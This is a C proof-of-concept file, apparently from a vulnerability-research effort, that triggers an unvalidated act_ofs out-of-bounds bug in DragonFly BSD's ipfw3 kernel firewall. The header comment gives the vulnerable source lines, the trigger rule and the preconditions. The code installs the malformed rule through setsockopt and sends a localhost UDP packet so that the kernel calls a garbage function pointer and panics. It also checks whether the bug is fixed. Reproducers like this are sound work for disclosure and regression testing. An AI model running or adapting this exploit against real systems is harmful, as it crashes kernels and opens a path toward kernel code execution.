DF-0475 / df0475_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | /* * DF-0475 - ipfw3 act_ofs never validated -> OOB pointer deref * * Bug: sys/net/ipfw3/ip_fw3.c:651 (add_rule_dispatch) copies * rule->act_ofs = ioc_rule->act_ofs; * verbatim from user input with NO check that act_ofs <= cmd_len. * ACTION_PTR(rule) at sys/net/ipfw3/ip_fw3.h:134-135 is * (ipfw_insn *)((uint32_t *)rule->cmd + rule->act_ofs) * so when act_ofs >= cmd_len it points past the cmd[] array into * adjacent kernel heap. The OOB deref is reached at: * - ip_fw3_chk CHK_STATE case (ip_fw3.c:520-524): * cmd = ACTION_PTR(f); l = f->cmd_len - f->act_ofs; goto check_body; * which then reads OOB cmd->module / cmd->opcode and calls * filter_funcs[OOB_module][OOB_opcode] (line 506) -> arbitrary / * NULL function pointer call. * - lookup_next_rule (ip_fw3.c:294-296) on dummynet reinject. * - ip_fw3_dummynet_io (ip_fw3.c:608-611). * * Trigger rule: * cmd[0] = { opcode=O_BASIC_CHECK_STATE, len=2, module=0 } * cmd_len = 1, act_ofs = 99 (way past cmd_len) * rulenum = 200 * * When a packet matches, check_check_state (ip_fw3_basic/ip_fw3_state.c:153) * sets *cmd_ctl = IP_FW_CTL_CHK_STATE, so ip_fw3.c:520-524 fires ACTION_PTR, * reads OOB module/opcode, and calls filter_funcs[OOB_module][OOB_opcode]. * On default GENERIC this typically panics (NULL or garbage func pointer, * or KASSERT if INVARIANTS catch it). * * Preconditions: * - sysctl net.filters_default_to_accept=1 before kldload ipfw3. * - kldload ipfw3 + ipfw3_basic (need O_BASIC_CHECK_STATE registered, * which is in ip_fw3_basic's init via register_filter_funcs). * - Root (raw socket + setsockopt). * * Build: cc -o df0475_oob df0475_oob.c * Run: ./df0475_oob * Expected (bug present): kernel panic via OOB function-pointer call * (NULL deref or invalid call target) -- captured in dfbsd-qemu/boot.log. * Expected (fixed): rule install rejected with EINVAL, program prints * "setsockopt: Invalid argument" and exits cleanly. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_ADD 50 #define F_NOT 0x80 #define F_LEN_MASK 0x3f struct ipfw_insn { uint8_t opcode; uint8_t len; uint16_t arg1; uint8_t module; uint8_t arg3; uint16_t arg2; } __attribute__((packed)); struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; } __attribute__((packed)); /* Opcodes from sys/net/ipfw3_basic/ip_fw3_basic.h:40-76 enum. O_BASIC_CHECK_STATE is the 25th entry (index 24): ACCEPT0,DENY1,COUNT2, SKIPTO3,FORWARD4,IN5,OUT6,VIA7,XMIT8,RECV9,PROTO10,SRC11,SRC_N_PORT12, SRC_MASK13,SRC_ME14,SRC_LOOKUP15,DST16,DST_N_PORT17,DST_MASK18,DST_ME19, DST_LOOKUP20,SRCPORT21,DSTPORT22,PROB23,KEEP_STATE24,CHECK_STATE25. */ #define O_BASIC_CHECK_STATE 25 #define MODULE_BASIC_ID 0 struct ipfw_ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; struct ipfw_insn cmd[16]; } __attribute__((packed)); struct fw_x_msg { struct ip_fw_x_header hdr; struct ipfw_ioc_rule rule; } __attribute__((packed)); int main(void) { int s, u, rc; struct sockaddr_in dst; struct fw_x_msg m; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket RAW"); return 2; } /* Install the buggy rule: act_ofs=99 (OOB), cmd_len=1. The single cmd is O_BASIC_CHECK_STATE so CHK_STATE path fires. */ memset(&m, 0, sizeof(m)); m.hdr.opcode = IP_FW_ADD; m.rule.act_ofs = 99; /* OOB - never validated */ m.rule.cmd_len = 1; m.rule.rulenum = 200; m.rule.set = 0; m.rule.insert = 0; m.rule.cmd[0].opcode = O_BASIC_CHECK_STATE; m.rule.cmd[0].len = 2; /* LEN_OF_IPFWINSN */ m.rule.cmd[0].module = MODULE_BASIC_ID; if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) { fprintf(stderr, "setsockopt IP_FW_ADD (OOB act_ofs): %s\n", strerror(errno)); /* If the kernel validates act_ofs, this fails with EINVAL -- that's the FIXED behavior. Distinguish in output. */ if (errno == EINVAL) { printf("[+] FIXED: kernel rejected OOB act_ofs (EINVAL)\n"); return 0; } return 2; } printf("[+] installed buggy rule 200 (act_ofs=99, cmd_len=1) -- OOB accepted\n"); printf("[*] sending trigger UDP packet to 127.0.0.1:9 ...\n"); printf("[*] if the bug is present, the kernel panics via OOB func call.\n"); fflush(stdout); u = socket(AF_INET, SOCK_DGRAM, 0); if (u < 0) { perror("socket UDP"); return 2; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); inet_aton("127.0.0.1", &dst.sin_addr); rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst)); if (rc < 0) perror("sendto"); printf("[!] sendto returned rc=%d - bug did NOT fire\n", rc); close(u); close(s); return 0; } |